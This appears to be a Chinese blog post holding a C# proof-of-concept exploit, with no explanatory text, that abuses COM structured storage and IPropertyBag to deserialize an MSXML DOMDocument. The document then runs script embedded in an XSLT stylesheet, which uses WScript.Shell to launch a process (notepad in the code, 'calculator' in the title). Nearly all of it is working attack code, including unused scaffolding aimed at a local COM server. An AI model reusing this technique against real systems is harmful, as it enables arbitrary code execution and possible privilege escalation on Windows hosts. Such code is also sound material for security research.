IPropertyBag本地弹计算器

using CStorageCore;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using System.Text;
using System.Threading.Tasks;

namespace CStoragePoc
{
    [Flags]
    public enum STGM : int
    {
        DIRECT = 0x00000000,
        TRANSACTED = 0x00010000,
        SIMPLE = 0x08000000,
        READ = 0x00000000,
        WRITE = 0x00000001,
        READWRITE = 0x00000002,
        SHARE_DENY_NONE = 0x00000040,
        SHARE_DENY_READ = 0x00000030,
        SHARE_DENY_WRITE = 0x00000020,
        SHARE_EXCLUSIVE = 0x00000010,
        PRIORITY = 0x00040000,
        DELETEONRELEASE = 0x04000000,
        NOSCRATCH = 0x00100000,
        CREATE = 0x00001000,
        CONVERT = 0x00020000,
        FAILIFTHERE = 0x00000000,
        NOSNAPSHOT = 0x00200000,
        DIRECT_SWMR = 0x00400000,
    }
    [Flags]
    public enum CLSCTX : uint
    {
        CLSCTX_INPROC_SERVER = 0x1,
        CLSCTX_INPROC_HANDLER = 0x2,
        CLSCTX_LOCAL_SERVER = 0x4,
        CLSCTX_INPROC_SERVER16 = 0x8,
        CLSCTX_REMOTE_SERVER = 0x10,
        CLSCTX_INPROC_HANDLER16 = 0x20,
        CLSCTX_RESERVED1 = 0x40,
        CLSCTX_RESERVED2 = 0x80,
        CLSCTX_RESERVED3 = 0x100,
        CLSCTX_RESERVED4 = 0x200,
        CLSCTX_NO_CODE_DOWNLOAD = 0x400,
        CLSCTX_RESERVED5 = 0x800,
        CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
        CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
        CLSCTX_NO_FAILURE_LOG = 0x4000,
        CLSCTX_DISABLE_AAA = 0x8000,
        CLSCTX_ENABLE_AAA = 0x10000,
        CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
        CLSCTX_ACTIVATE_X86_SERVER = 0x40000,
        CLSCTX_ACTIVATE_32_BIT_SERVER = CLSCTX_ACTIVATE_X86_SERVER,
        CLSCTX_ACTIVATE_64_BIT_SERVER = 0x80000,
        CLSCTX_ENABLE_CLOAKING = 0x100000,
        CLSCTX_APPCONTAINER = 0x400000,
        CLSCTX_ACTIVATE_AAA_AS_IU = 0x800000,
        CLSCTX_RESERVED6 = 0x1000000,
        CLSCTX_ACTIVATE_ARM32_SERVER = 0x2000000

    }

    [StructLayout(LayoutKind.Sequential)]
    class PROPVARIANT
    {
        const ushort VT_UNKNOWN = 13;
        ushort vt;
        ushort wReserved1;
        ushort wReserved2;
        ushort wReserved3;
        IntPtr pUnknown;

        public PROPVARIANT(object obj)
        {
            vt = VT_UNKNOWN;
            pUnknown = Marshal.GetIUnknownForObject(obj);
        }

        public PROPVARIANT()
        {
            vt = VT_UNKNOWN;
        }

        public object ToObject()
        {
            return Marshal.GetObjectForIUnknown(pUnknown);
        }
    }

    [ComImport, ComVisible(true)]
    [Guid("55272A00-42CB-11CE-8135-00AA004BB851")]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    interface IPropertyBag
    {
        int Read([In] string propName, [In, Out] PROPVARIANT ptrVar, IntPtr errorLog);
        int Write([In] string propName, [In, Out] PROPVARIANT ptrVar);
    }

    [ComImport, Guid("00000109-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    public interface IPersistStream
    {
        void GetClassID(out Guid clsid);
        int IsDirty();
        void Load(IStream pStm);
        void Save(IStream pStm, bool fClearDirty);
        void GetSizeMax(out ulong pcbSize);
    }

    [ComVisible(true)]
    class FakeObject : IPersistStream
    {
        public void GetClassID(out Guid clsid)
        {
            Console.WriteLine("GetClassID");
            //MSXML.DOMDocument.6.0
            clsid = new Guid("88D96A05-F192-11D4-A65F-0040963251E5");
        }

        public void GetSizeMax(out ulong pcbSize)
        {
            Console.WriteLine("GetSizeMax");
            pcbSize = 1024;
        }

        public int IsDirty()
        {
            Console.WriteLine("IsDirty");
            return 0;
        }

        public void Load(IStream pStm)
        {
            Console.WriteLine("Load");
        }

        public void Save(IStream pStm, bool fClearDirty)
        {
            Console.WriteLine("Save");
            byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>");
            pStm.Write(arr, arr.Length, IntPtr.Zero);
            Console.WriteLine("Done Write");
        }
    }
    [ComImport, Guid("00000001-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    public interface IClassFactory
    {
        [PreserveSig]
        int CreateInstance([MarshalAs(UnmanagedType.Interface)] object pUnkOuter, [MarshalAs(UnmanagedType.LPStruct)]  Guid riid, [Out, MarshalAs(UnmanagedType.Interface)] out IStorage ppvObject);

        [PreserveSig]
        int LockServer(bool fLock);
    }
  

    class Program
    {
        [DllImport("ole32.dll", PreserveSig = false, CharSet = CharSet.Unicode)]
        static extern int StgCreateDocfile([MarshalAs(UnmanagedType.LPWStr)]
            string pwcsName, STGM grfMode, uint reserved, out IStorage ppstgOpen);
        [DllImport("ole32.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
        public static extern int StgOpenStorage(
            string pwcsName,
            IStorage pstgPriority,
            STGM grfMode,
            IntPtr snbExclude,
            int reserved, out IStorage ppstgOpen
        );
        [DllImport("ole32.dll", ExactSpelling = true)]
        public static extern int CoGetClassObject(
            ref Guid rclsid,
            uint dwContext,
            IntPtr pvReserved,
            ref Guid riid,
            [MarshalAs(UnmanagedType.Interface)] out IClassFactory ppv);
        [DllImport("ole32.dll")]
        static extern int CoCreateInstance(
            [In] ref Guid rclsid,
            [In, MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter,
            [In] uint dwClsContext,
            [In] ref Guid riid,
            [Out, MarshalAs(UnmanagedType.Interface)] out object ppv);


        static IStorage GetRemoteStorage()
        {
            int hr = 0;
            IStorage ppstgOpen = null;
            object ppvResultres = (object)null;
            Guid storgid = new Guid("0000000B-0000-0000-C000-000000000046");
            Guid svrgid = new Guid("AF080472-F173-4D9D-8BE7-435776617347");


            IClassFactory ppv = null;

            Guid classfactor = new Guid("00000001-0000-0000-C000-000000000046");
            hr = CoGetClassObject(ref FakeClassGid, (uint)CLSCTX.CLSCTX_LOCAL_SERVER, IntPtr.Zero, ref classfactor, out ppv);
            Console.WriteLine("CoGetClassObject:=>" + hr.ToString("x"));
            /*hr = ppv.LockServer(true);
            Console.WriteLine("LockServer:=>" + hr.ToString("x"));*/
            IClassFactoryStorage ppvstor = ppv as IClassFactoryStorage;
            Console.WriteLine("ppvstor:=>" + ppvstor);
            IntPtr objpv;
            hr = ppv.CreateInstance(null, storgid, out ppstgOpen);
            //  hr = ppvstor.CreateInstanceStorage(null, ref storgid, out ppstgOpen);
            Console.WriteLine("CreateInstance:=>" + hr.ToString("x"));

            return ppstgOpen;
        }
        static IStorage GetLocalStorage()
        {
            IStorage ppstgOpen;
            string storfile = @"C:\dl\ev.tps";
            if (File.Exists(storfile))
            {
                File.Delete(storfile);
            }
            int hr = StgCreateDocfile(storfile, STGM.READWRITE | STGM.SHARE_EXCLUSIVE, 0, out ppstgOpen);

            Console.WriteLine("StgCreateDocfile:=>" + hr.ToString("x"));
            return ppstgOpen;
        }

        public static Guid FakeClassGid = Guid.Parse("{1ECCFD72-4B41-45ef-B73A-4A6E44C12924}");



        static void Main(string[] args)
        {
            int hr = 0;
            IStorage ppstgOpen = GetLocalStorage();
            IStorage new_stg1 = ppstgOpen.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0);
            Console.WriteLine("CreateStorage:=>" + new_stg1);

            PROPVARIANT prop = new PROPVARIANT(new FakeObject());
            IPropertyBag propbag = new_stg1 as IPropertyBag;

            hr = propbag.Write("fake", prop);

            Console.WriteLine("IPropertyBag:=>" + hr.ToString("x"));


            ppstgOpen.Commit(0);
            Marshal.ReleaseComObject(propbag);
            Marshal.ReleaseComObject(new_stg1);
            IStorage new_stg = ppstgOpen.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0);
            IPropertyBag bag = (IPropertyBag)new_stg;
            PROPVARIANT var = new PROPVARIANT();
            bag.Read("fake", var, IntPtr.Zero);
            dynamic doc = var.ToObject();
            Console.WriteLine("Done Read {0}", doc);
            doc.setProperty("AllowXsltScript", true);
            doc.transformNode(doc);

        }
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值